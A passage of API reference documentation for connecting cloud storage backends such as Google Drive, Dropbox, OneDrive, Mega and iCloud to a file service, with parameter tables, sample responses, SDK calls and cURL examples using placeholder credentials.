| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use the provider defaults. |
| `upload_cutoff` | string | No | `"52428800"` | Cutoff for switching to multipart upload (min 50 MiB). |

### Response



```json
{
  "data": {
    "backend_type": "box",
    "id": "bnd_8f3a2c1e4b5d6f7a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Box backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid configuration: client_id is required for enterprise sub-type",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectBox({
  box_sub_type: "user",
  description: "Marketing team Box account"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/box \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "box_sub_type": "user",
    "description": "Marketing team Box account"
  }'
```

---

## Google Drive

Connect a Google Drive account. Supports Shared Drives, service accounts, and team impersonation.

### `POST /api/v1/backends/drive`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `acknowledge_abuse` | boolean | No | `false` | Allow downloading files flagged as malware/spam. |
| `allow_import_name_change` | boolean | No | `false` | Allow filetype to change when uploading Google docs. |
| `alternate_export` | boolean | No | `false` | Deprecated: no longer needed. |
| `auth_owner_only` | boolean | No | `false` | Only consider files owned by the authenticated user. |
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `chunk_size` | string | No | `"8388608"` | Upload chunk size (power of 2, >= 256 KiB). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | Google Application Client Id. Recommended to set your own. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `copy_shortcut_content` | boolean | No | `false` | Server-side copy shortcut contents instead of shortcuts. |
| `description` | string | No | `""` | Description of the remote. |
| `disable_http2` | boolean | No | `true` | Disable HTTP/2 for the drive backend. |
| `encoding` | string | No | `"16777216"` | The encoding for the backend. |
| `env_auth` | boolean | No | `false` | Get IAM credentials from runtime. One of: `false`, `true`. |
| `export_formats` | string | No | `"docx,xlsx,pptx,svg"` | Comma-separated preferred export formats. |
| `fast_list_bug_fix` | boolean | No | `true` | Work around a bug in Google Drive listing. |
| `formats` | string | No | `""` | Deprecated: see `export_formats`. |
| `impersonate` | string | No | `""` | Impersonate this user when using a service account. |
| `import_formats` | string | No | `""` | Comma-separated preferred upload formats for Google docs. |
| `keep_revision_forever` | boolean | No | `false` | Keep new head revision of each file forever. |
| `list_chunk` | integer | No | `1000` | Size of listing chunk (100–1000, 0 to disable). |
| `metadata_labels` | string | No | `"0"` | Read/write labels metadata. One of: `off`, `read`, `write`, `failok`, `read,write`. |
| `metadata_owner` | string | No | `"1"` | Read/write owner metadata. One of: `off`, `read`, `write`, `failok`, `read,write`. |
| `metadata_permissions` | string | No | `"0"` | Read/write permissions metadata. One of: `off`, `read`, `write`, `failok`, `read,write`. |
| `pacer_burst` | integer | No | `100` | Number of API calls allowed without sleeping. |
| `pacer_min_sleep` | integer | No | `0` | Minimum time to sleep between API calls (seconds). |
| `resource_key` | string | No | `""` | Resource key for accessing a link-shared file. |
| `root_folder_id` | string | No | `""` | ID of the root folder. Leave blank normally. |
| `scope` | string | No | `""` | Comma-separated list of scopes. One of: `drive`, `drive.readonly`, `drive.file`, `drive.appfolder`, `drive.metadata.readonly`. |
| `server_side_across_configs` | boolean | No | `false` | Allow server-side operations across different drive configs. |
| `service_account_credentials` | string | No | `""` | Service Account Credentials JSON blob. |
| `service_account_file` | string | No | `""` | Service Account Credentials JSON file path. |
| `shared_with_me` | boolean | No | `false` | Only show files shared with me. |
| `show_all_gdocs` | boolean | No | `false` | Show all Google Docs including non-exportable ones. |
| `size_as_quota` | boolean | No | `false` | Show sizes as storage quota usage, not actual size. |
| `skip_checksum_gphotos` | boolean | No | `false` | Skip checksums on Google photos and videos. |
| `skip_dangling_shortcuts` | boolean | No | `false` | Skip dangling shortcut files. |
| `skip_gdocs` | boolean | No | `false` | Skip Google documents in all listings. |
| `skip_shortcuts` | boolean | No | `false` | Skip shortcut files completely. |
| `starred_only` | boolean | No | `false` | Only show files that are starred. |
| `stop_on_download_limit` | boolean | No | `false` | Make download limit errors fatal. |
| `stop_on_upload_limit` | boolean | No | `false` | Make upload limit errors fatal. |
| `team_drive` | string | No | `""` | ID of the Shared Drive (Team Drive). |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `trashed_only` | boolean | No | `false` | Only show files in the trash. |
| `upload_cutoff` | string | No | `"8388608"` | Cutoff for switching to chunked upload. |
| `use_created_date` | boolean | No | `false` | Use file created date instead of modified date. |
| `use_shared_date` | boolean | No | `false` | Use date file was shared instead of modified date. |
| `use_trash` | boolean | No | `true` | Send files to trash instead of deleting permanently. |
| `v2_download_min_size` | string | No | `"-1"` | If objects are greater, use drive v2 API to download. |

### Response



```json
{
  "data": {
    "backend_type": "drive",
    "id": "bnd_drive_3a7b9c2f8e1d4b6a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Google Drive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid client_id format",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectDrive({
  client_id: "1234567890-abc.apps.googleusercontent.com",
  description: "Personal Google Drive",
  scope: "drive"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/drive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "client_id": "1234567890-abc.apps.googleusercontent.com",
    "description": "Personal Google Drive",
    "scope": "drive"
  }'
```

---

## Dropbox

Connect a Dropbox account. Supports shared folders, team impersonation, and configurable batching.

### `POST /api/v1/backends/dropbox`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `batch_commit_timeout` | integer | No | `600` | Max time to wait for a batch to finish committing (seconds). |
| `batch_mode` | string | No | `"sync"` | Upload file batching mode (`off`, `sync`, `async`). |
| `batch_size` | integer | No | `0` | Max number of files in upload batch (&lt; 1000). |
| `batch_timeout` | integer | No | `0` | Max idle time before an upload batch is uploaded (seconds). |
| `chunk_size` | string | No | `"50331648"` | Upload chunk size (&lt; 150 MiB). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"52469762"` | The encoding for the backend. |
| `impersonate` | string | No | `""` | Impersonate this user when using a business account. |
| `pacer_min_sleep` | integer | No | `0` | Minimum time to sleep between API calls (seconds). |
| `root_namespace` | string | No | `""` | Specify a different Dropbox namespace ID as the root. |
| `shared_files` | boolean | No | `false` | Work on individual shared files (read-only). |
| `shared_folders` | boolean | No | `false` | Work on shared folders. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "dropbox",
    "id": "bnd_dropbox_7c2e9f1a3b8d4e6f",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Dropbox backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid batch_mode: must be off, sync, or async",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectDropbox({
  batch_mode: "async",
  description: "Team Dropbox"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/dropbox \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_mode": "async",
    "description": "Team Dropbox"
  }'
```

---

## 1Fichier

Connect a 1Fichier account using an API key.

### `POST /api/v1/backends/fichier`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `api_key` | string | No | `""` | Your 1Fichier API key (from `https://1fichier.com/console/params.pl`). |
| `cdn` | boolean | No | `false` | Use CDN download links. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"52666494"` | The encoding for the backend. |
| `file_password` | string | No | `""` | Password for downloading a shared password-protected file. |
| `folder_password` | string | No | `""` | Password for listing files in a shared password-protected folder. |
| `shared_folder` | string | No | `""` | Identifier for a shared folder to download. |

### Response



```json
{
  "data": {
    "backend_type": "fichier",
    "id": "bnd_fichier_5d8a1b3c9e2f4a7b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "1Fichier backend connected successfully",
  "success": true
}
```


```json
{
  "error": "API key is required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectFichier({
  api_key: "your-1fichier-api-key",
  cdn: true
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/fichier \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "api_key": "your-1fichier-api-key",
    "cdn": true
  }'
```

---

## Enterprise File Fabric

Connect an Enterprise File Fabric (Storage Made Easy) instance.

### `POST /api/v1/backends/filefabric`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50429954"` | The encoding for the backend. |
| `permanent_token` | string | No | `""` | Permanent Authentication Token from the File Fabric dashboard. |
| `root_folder_id` | string | No | `""` | ID of the root folder. Leave blank normally. |
| `token` | string | No | `""` | Session token (managed automatically; do not set). |
| `token_expiry` | string | No | `""` | Token expiry time (managed automatically; do not set). |
| `url` | string | **Yes** | `""` | URL of the Enterprise File Fabric. One of: `https://storagemadeeasy.com`, `https://eu.storagemadeeasy.com`, `https://yourfabric.smestorage.com`. |
| `version` | string | No | `""` | Version read from the File Fabric (managed automatically). |

### Response



```json
{
  "data": {
    "backend_type": "filefabric",
    "id": "bnd_filefabric_4e1c8a2b7f3d9e5c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Enterprise File Fabric backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Field 'url' is required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectFilefabric({
  url: "https://storagemadeeasy.com",
  permanent_token: "your-permanent-token"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/filefabric \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://storagemadeeasy.com",
    "permanent_token": "your-permanent-token"
  }'
```

---

## Files.com

Connect a Files.com account. Supports API key, username/password, or site-based authentication.

### `POST /api/v1/backends/filescom`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `api_key` | string | No | `""` | The API key used to authenticate with Files.com. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"60923906"` | The encoding for the backend. |
| `password` | string | No | `""` | The password used to authenticate with Files.com. |
| `site` | string | No | `""` | Your site subdomain (e.g. `mysite`) or custom domain. |
| `username` | string | No | `""` | The username used to authenticate with Files.com. |

### Response



```json
{
  "data": {
    "backend_type": "filescom",
    "id": "bnd_filescom_2b7e4d9c1a5f8e3b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Files.com backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Authentication failed: invalid credentials",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectFilescom({
  site: "mysite",
  username: "alice",
  api_key: "your-files-com-api-key"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/filescom \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "site": "mysite",
    "username": "alice",
    "api_key": "your-files-com-api-key"
  }'
```

---

## Gofile

Connect a Gofile account using an access token.

### `POST /api/v1/backends/gofile`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `access_token` | string | No | `""` | API access token from the Gofile web control panel. |
| `account_id` | string | No | `""` | Account ID. Filled in automatically; leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"323331982"` | The encoding for the backend. |
| `list_chunk` | integer | No | `1000` | Number of items to list per call. |
| `root_folder_id` | string | No | `""` | ID of the root folder. Filled in automatically; leave blank normally. |

### Response



```json
{
  "data": {
    "backend_type": "gofile",
    "id": "bnd_gofile_9f4c2a1e8b3d6e7a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Gofile backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid access token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectGofile({
  access_token: "your-gofile-access-token"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/gofile \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "access_token": "your-gofile-access-token"
  }'
```

---

## Google Photos

Connect a Google Photos library. Supports read-only mode and proxy-based full-resolution downloads.

### `POST /api/v1/backends/google-photos`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `batch_commit_timeout` | integer | No | `600` | Max time to wait for a batch to finish committing (seconds). |
| `batch_mode` | string | No | `"sync"` | Upload file batching mode (`off`, `sync`, `async`). |
| `batch_size` | integer | No | `0` | Max number of files in upload batch (&lt; 50). |
| `batch_timeout` | integer | No | `0` | Max idle time before an upload batch is uploaded (seconds). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50348034"` | The encoding for the backend. |
| `include_archived` | boolean | No | `false` | View and download archived media. |
| `proxy` | string | No | `""` | Use the `gphotosdl` proxy URL for full-resolution images. |
| `read_only` | boolean | No | `false` | Request read-only access to your photos. |
| `read_size` | boolean | No | `false` | Read the size of media items (recommended for VFS mounts). |
| `start_year` | integer | No | `2000` | Limit downloads to media uploaded after this year. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "google photos",
    "id": "bnd_gphotos_1a8b3c5d7e2f4a9b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Google Photos backend connected successfully",
  "success": true
}
```


```json
{
  "error": "start_year must be a valid year",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectGooglePhotos({
  read_only: true,
  start_year: 2020,
  description: "Family photo library"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/google-photos \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "read_only": true,
    "start_year": 2020,
    "description": "Family photo library"
  }'
```

---

## HiDrive

Connect a HiDrive (Strato) account.

### `POST /api/v1/backends/hidrive`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `chunk_size` | string | No | `"50331648"` | Chunk size for chunked uploads (&lt; 2 GiB). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `disable_fetching_member_count` | boolean | No | `false` | Skip fetching object counts in directories. |
| `encoding` | string | No | `"33554434"` | The encoding for the backend. |
| `endpoint` | string | No | `"https://api.hidrive.strato.com/2.1"` | API endpoint URL. |
| `root_prefix` | string | No | `"/"` | Root/parent folder for all paths. One of: `/`, `root`, `` (empty). |
| `scope_access` | string | No | `"rw"` | Access permissions. One of: `rw`, `ro`. |
| `scope_role` | string | No | `"user"` | User-level. One of: `user`, `admin`, `owner`. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `upload_concurrency` | integer | No | `4` | Concurrency for chunked uploads. |
| `upload_cutoff` | string | No | `"100663296"` | Threshold for chunked uploads (&lt; 2 GiB). |

### Response



```json
{
  "data": {
    "backend_type": "hidrive",
    "id": "bnd_hidrive_6c3f8a2e9b1d4e7c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "HiDrive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid endpoint URL",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectHidrive({
  scope_access: "rw",
  upload_concurrency: 8
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/hidrive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "scope_access": "rw",
    "upload_concurrency": 8
  }'
```

---

## iCloud Drive

Connect an iCloud Drive account using Apple ID credentials. **Required:** Apple ID and password.

### `POST /api/v1/backends/iclouddrive`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `apple_id` | string | **Yes** | `""` | Apple ID. |
| `client_id` | string | No | `"d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d"` | Client id. |
| `cookies` | string | No | `""` | Cookies (internal use only). |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `password` | string | **Yes** | `""` | Apple ID password. |
| `trust_token` | string | No | `""` | Trust token (internal use). |


Apple may require two-factor authentication. If so, you will need to provide a trust token obtained from a trusted device. Plain password authentication may not always succeed.


### Response



```json
{
  "data": {
    "backend_type": "iclouddrive",
    "id": "bnd_icloud_3e7b2c9f4a8d1e5b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "iCloud Drive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Two-factor authentication required; provide trust_token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectIclouddrive({
  apple_id: "alice@icloud.com",
  password: "app-specific-password",
  description: "Personal iCloud"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/iclouddrive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "apple_id": "alice@icloud.com",
    "password": "app-specific-password",
    "description": "Personal iCloud"
  }'
```

---

## Jottacloud

Connect a Jottacloud account.

### `POST /api/v1/backends/jottacloud`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50431886"` | The encoding for the backend. |
| `hard_delete` | boolean | No | `false` | Delete files permanently instead of moving to trash. |
| `md5_memory_limit` | string | No | `"10485760"` | Files larger than this are cached on disk for MD5. |
| `no_versions` | boolean | No | `false` | Avoid server-side versioning by recreating files. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `trashed_only` | boolean | No | `false` | Only show files in the trash. |
| `upload_resume_limit` | string | No | `"10485760"` | Files larger than this can be resumed on upload failure. |

### Response



```json
{
  "data": {
    "backend_type": "jottacloud",
    "id": "bnd_jotta_8a2d5c1e9b3f7a4d",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Jottacloud backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Authentication failed",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectJottacloud({
  hard_delete: false
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/jottacloud \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hard_delete": false
  }'
```

---

## Koofr

Connect a Koofr, Digi Storage, or other Koofr-compatible storage provider. **Required:** endpoint URL, username, and password.

### `POST /api/v1/backends/koofr`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `endpoint` | string | **Yes** | `""` | The Koofr API endpoint. |
| `mountid` | string | No | `""` | Mount ID. If omitted, the primary mount is used. |
| `password` | string | **Yes** | `""` | Hoody-VFS password (generate one in your service settings). |
| `provider` | string | No | `""` | Storage provider. One of: `koofr`, `digistorage`, `other`. |
| `setmtime` | boolean | No | `true` | Whether the backend supports setting modification time. |
| `user` | string | **Yes** | `""` | Your user name. |

### Response



```json
{
  "data": {
    "backend_type": "koofr",
    "id": "bnd_koofr_4f1a8e2c5b9d3a7e",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Koofr backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Field 'endpoint' is required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectKoofr({
  endpoint: "https://app.koofr.net",
  user: "alice",
  password: "hoody-app-password",
  provider: "koofr"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/koofr \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "endpoint": "https://app.koofr.net",
    "user": "alice",
    "password": "hoody-app-password",
    "provider": "koofr"
  }'
```

---

## Linkbox

Connect a Linkbox account. **Required:** API token from the Linkbox account page.

### `POST /api/v1/backends/linkbox`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `description` | string | No | `""` | Description of the remote. |
| `token` | string | **Yes** | `""` | Token from `https://www.linkbox.to/admin/account`. |

### Response



```json
{
  "data": {
    "backend_type": "linkbox",
    "id": "bnd_linkbox_2c8e5a1b9f3d4c7a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Linkbox backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Field 'token' is required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectLinkbox({
  token: "your-linkbox-token"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/linkbox \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "your-linkbox-token"
  }'
```

---

## Mail.ru Cloud

Connect a Mail.ru Cloud account. **Required:** username (email) and an app password. **An app password is required** — the regular account password will not work.

### `POST /api/v1/backends/mailru`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `check_hash` | boolean | No | `true` | What to do if file checksum is mismatched or invalid. One of: `true`, `false`. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50440078"` | The encoding for the backend. |
| `pass` | string | **Yes** | `""` | App password. |
| `quirks` | string | No | `""` | Comma-separated list of internal maintenance flags (advanced). |
| `speedup_enable` | boolean | No | `true` | Skip full upload if a file with the same hash already exists. One of: `true`, `false`. |
| `speedup_file_patterns` | string | No | `"*.mkv,*.avi,*.mp4,*.mp3,*.zip,*.gz,*.rar,*.pdf"` | Comma-separated patterns eligible for hash-based upload. One of: `` (empty), `*`, `*.mkv,*.avi,*.mp4,*.mp3`, `*.zip,*.gz,*.rar,*.pdf`. |
| `speedup_max_disk` | string | No | `"3221225472"` | Max disk usage for speedup. One of: `0`, `1G`, `3G`. |
| `speedup_max_memory` | string | No | `"33554432"` | Files larger than this are always hashed on disk. One of: `0`, `32M`, `256M`. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `user` | string | **Yes** | `""` | User name (usually email). |
| `user_agent` | string | No | `""` | HTTP user agent used internally by the client. |

### Response



```json
{
  "data": {
    "backend_type": "mailru",
    "id": "bnd_mailru_7d2a4c1b9e5f3a8c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Mail.ru Cloud backend connected successfully",
  "success": true
}
```


```json
{
  "error": "App password is required (not your account password)",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectMailru({
  user: "alice@mail.ru",
  pass: "app-password",
  speedup_enable: true
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/mailru \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "user": "alice@mail.ru",
    "pass": "app-password",
    "speedup_enable": true
  }'
```

---

## Mega

Connect a Mega account. **Required:** Mega username and password.

### `POST /api/v1/backends/mega`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `debug` | boolean | No | `false` | Output more debug from Mega. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50331650"` | The encoding for the backend. |
| `hard_delete` | boolean | No | `false` | Permanently delete files instead of trashing them. |
| `pass` | string | **Yes** | `""` | Mega password. |
| `use_https` | boolean | No | `false` | Use HTTPS for transfers (useful when an ISP throttles HTTP). |
| `user` | string | **Yes** | `""` | Mega user name. |

### Response



```json
{
  "data": {
    "backend_type": "mega",
    "id": "bnd_mega_5a8c1e4b7d2f9a3e",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Mega backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid Mega credentials",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectMega({
  user: "alice@example.com",
  pass: "mega-password",
  use_https: true
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/mega \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "user": "alice@example.com",
    "pass": "mega-password",
    "use_https": true
  }'
```

---

## Microsoft OneDrive

Connect a Microsoft OneDrive account. Supports personal, business, and SharePoint document libraries. Use the `region` field for national clouds (US gov, Germany, China).

### `POST /api/v1/backends/onedrive`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `access_scopes` | string | No | `["Files.Read","Files.ReadWrite","Files.Read.All","Files.ReadWrite.All","Sites.Read.All","offline_access"]` | Space-separated scopes to request. One of: `Files.Read Files.ReadWrite Files.Read.All Files.ReadWrite.All Sites.Read.All offline_access`, `Files.Read Files.Read.All Sites.Read.All offline_access`, `Files.Read Files.ReadWrite Files.Read.All Files.ReadWrite.All offline_access`. |
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `av_override` | boolean | No | `false` | Allow download of files the server thinks has a virus. |
| `chunk_size` | string | No | `"10485760"` | Chunk size for uploads (multiple of 320 KiB, &lt;= 250 MiB). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `delta` | boolean | No | `false` | Use delta listing for recursive listings. |
| `description` | string | No | `""` | Description of the remote. |
| `disable_site_permission` | boolean | No | `false` | Disable the request for `Sites.Read.All` permission. |
| `drive_id` | string | No | `""` | The ID of the drive to use. |
| `drive_type` | string | No | `""` | The type of the drive (`personal`, `business`, or `documentLibrary`). |
| `encoding` | string | No | `"57386894"` | The encoding for the backend. |
| `expose_onenote_files` | boolean | No | `false` | Make OneNote files show up in directory listings. |
| `hard_delete` | boolean | No | `false` | Permanently delete files on removal. |
| `hash_type` | string | No | `"auto"` | Hash type in use. One of: `auto`, `quickxor`, `sha1`, `sha256`, `crc32`, `none`. |
| `link_password` | string | No | `""` | Password for links created by the link command (paid personal accounts). |
| `link_scope` | string | No | `"anonymous"` | Scope of created links. One of: `anonymous`, `organization`. |
| `link_type` | string | No | `"view"` | Type of created links. One of: `view`, `edit`, `embed`. |
| `list_chunk` | integer | No | `1000` | Size of listing chunk. |
| `metadata_permissions` | string | No | `"0"` | Read/write permissions metadata. One of: `off`, `read`, `write`, `read,write`, `failok`. |
| `no_versions` | boolean | No | `false` | Remove all versions on modifying operations. |
| `region` | string | No | `"global"` | National cloud region. One of: `global`, `us`, `de`, `cn`. |
| `root_folder_id` | string | No | `""` | ID of the root folder. Leave blank normally. |
| `server_side_across_configs` | boolean | No | `false` | Allow server-side operations across different OneDrive configs. |
| `tenant` | string | No | `""` | Tenant ID (for client credential flow). |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "onedrive",
    "id": "bnd_onedrive_9b3d7e1a4c8f2b5d",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "OneDrive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid region: must be one of global, us, de, cn",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectOnedrive({
  region: "global",
  drive_type: "personal",
  description: "Personal OneDrive"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/onedrive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "region": "global",
    "drive_type": "personal",
    "description": "Personal OneDrive"
  }'
```

---

## OpenDrive

Connect an OpenDrive account. **Required:** username and password.

### `POST /api/v1/backends/opendrive`

This endpoint takes no parameters.

### Request Body

